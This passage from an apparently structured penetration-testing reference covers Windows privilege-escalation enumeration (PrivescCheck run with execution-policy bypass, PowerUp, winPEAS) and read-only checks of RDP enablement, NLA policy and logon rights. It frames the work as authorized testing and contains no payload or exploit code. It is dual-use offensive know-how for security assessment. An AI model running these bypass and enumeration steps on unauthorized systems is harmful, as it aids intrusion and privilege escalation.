powershell.exe -ExecutionPolicy Bypass -Command ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report TXT,HTML"
Import-Module .\PowerUp.ps1
Invoke-AllChecks

winPEAS is broad; Seatbelt is a targeted survey and publishes source rather than official binaries; PrivescCheck evaluates the current token and skips some checks when elevated; PowerUp is useful but its upstream repository was archived. AV/script-policy failure is a tooling limitation—use native checks.

Convert every highlight into:

CANDIDATE | CURRENT TOKEN | CONTROLLED INPUT | EFFECTIVE RIGHT | CONSUMER | RUN-AS | TRIGGER | EXPECTED EFFECT | STATUS

Verify: Read out.txt or the helper report. Use sc.exe qc/sdshow plus icacls for a service, inspect task XML/run-as for a scheduled task, or check whoami /priv for a token finding

If it fails: Binary/script blocked or report empty: check architecture and PowerShell language/policy, then use native service/task/ACL checks. A blocked helper does not disprove the finding

10.10.16.2 Additional conditional surfaces

Open a branch only when its observation and prerequisites match. Discovery-only entries retain their missing-action boundary.

10.10.16.2.1 Inspect host-side RDP enablement and logon policy

  • Enter: you have authorized local administrative or equivalent management access to a Windows destination, and RDP access is relevant or failing.
  • Discover: inspect TermService, fDenyTSConnections, configured PortNumber, qwinsta listener state and the actual source-to-port path.
  • Validate: inspect NLA/security-layer policy, applied GPO, local Remote Desktop Users membership, and the effective SeRemoteInteractiveLogonRight / SeDenyRemoteInteractiveLogonRight assignments. Deny overrides allow.
  • Execute: RDP host-side inspection; then use the RDP access procedure only when its conditions are satisfied.
  • Verify: a usable desktop followed by whoami, hostname and ipconfig establishes the new host/identity/source position. Authentication-only success is not an interactive session.
  • Outcomes: listener/right/client conditions satisfied → remote operation preflight then session verification; decisive deny/no listener → ruled out here; policy, SID expansion or filtering unresolved → inconclusive.
10.10.16.2.2 Documented commands and conditions

Use this read-only sequence after obtaining an authorized local administrative session on the destination, or when the exercise explicitly supplies equivalent remote-management access. It answers four different questions: is RDP enabled, is a listener actually present, what security layer/NLA policy applies, and does the candidate identity have an effective remote-interactive logon right? Do not change registry values or policy merely to make a credential work.

10.10.16.2.2.1 Listener, service and configured port
Get-Service TermService
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
qwinsta
netstat -ano | findstr LISTENING | findstr ":3389"

Read: fDenyTSConnections = 0 permits RDP at the local setting; 1 denies new RDP connections. PortNumber is displayed as a registry DWORD, commonly hexadecimal 0xD3D for 3389. A running TermService plus an RDP-Tcp listener in qwinsta and a listening socket establishes host-side listener state. A missing :3389 socket is not decisive if PortNumber is nondefault. Policy can override the local value, so inspect resultant policy before treating this as effective configuration.

10.10.16.2.2.2 NLA, transport security and policy precedence
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v MinEncryptionLevel

reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fDenyTSConnections
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v UserAuthentication
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v SecurityLayer
gpresult /scope computer /v

Read: UserAuthentication = 1 requires Network Level Authentication. For SecurityLayer, 0 is native RDP security, 1 negotiates, and 2 requires TLS. MinEncryptionLevel further constrains client compatibility. A missing policy value means “not configured at this policy path,” not that the feature is absent. Use gpresult to identify the winning computer policy when local and policy-backed values conflict or revert after refresh. These settings explain negotiation failures; they do not grant a user logon rights.

10.10.16.2.2.3 Candidate membership and effective logon rights
net localgroup "Remote Desktop Users"
whoami /groups

From an elevated PowerShell or Command Prompt, export the currently applied user-right assignments and inspect only the RDP entries:

$policy = Join-Path $env:TEMP 'rdp-user-rights.inf'
secedit /export /mergedpolicy /areas user_rights /cfg $policy /quiet
Select-String -Path $policy -Pattern '^SeRemoteInteractiveLogonRight','^SeDenyRemoteInteractiveLogonRight'

Read: the candidate must be covered by SeRemoteInteractiveLogonRight; membership in local Administrators or Remote Desktop Users commonly supplies that right, but the actual applied policy is decisive. SeDenyRemoteInteractiveLogonRight overrides the allow right. Exported entries can be names or SIDs, so resolve unfamiliar SIDs before deciding. whoami /groups proves only the current process token; use it for the candidate only when you are actually running in that candidate's context. A group listing alone does not prove an effective right when domain policy or nested membership changes the result.

10.10.16.2.2.4 Source-relative validation and decision
nmap -Pn -n -p 3389 --reason TARGET
xfreerdp3 /v:TARGET /u:USER /d:DOMAIN /auth-only /cert:ignore

Ready for an interactive attempt: the actual source reaches the configured RDP port; the listener is enabled; the client can meet the NLA/security requirements; the credential is accepted in the intended local/domain context; and the identity has the effective allow right without an applicable deny right. Ruled out in this context: a decisive required condition is absent, such as an effective deny assignment or no listener on the configured port. Inconclusive: access to policy data is denied, group/SID expansion is unresolved, GPO precedence is unclear, or network filtering prevents source-relative validation. Do not turn an inconclusive result into “bad password” or “RDP disabled.”

Security baseline: on a normally secured host, RDP may be disabled when not needed; when enabled, NLA is normally retained, access is limited to intended administrative/remote-user principals, deny assignments override broad membership, and the firewall limits exposure. The state machine records deviations and capabilities; it does not recommend weakening these controls.

Notes and interpretation.


Top of document · Reference home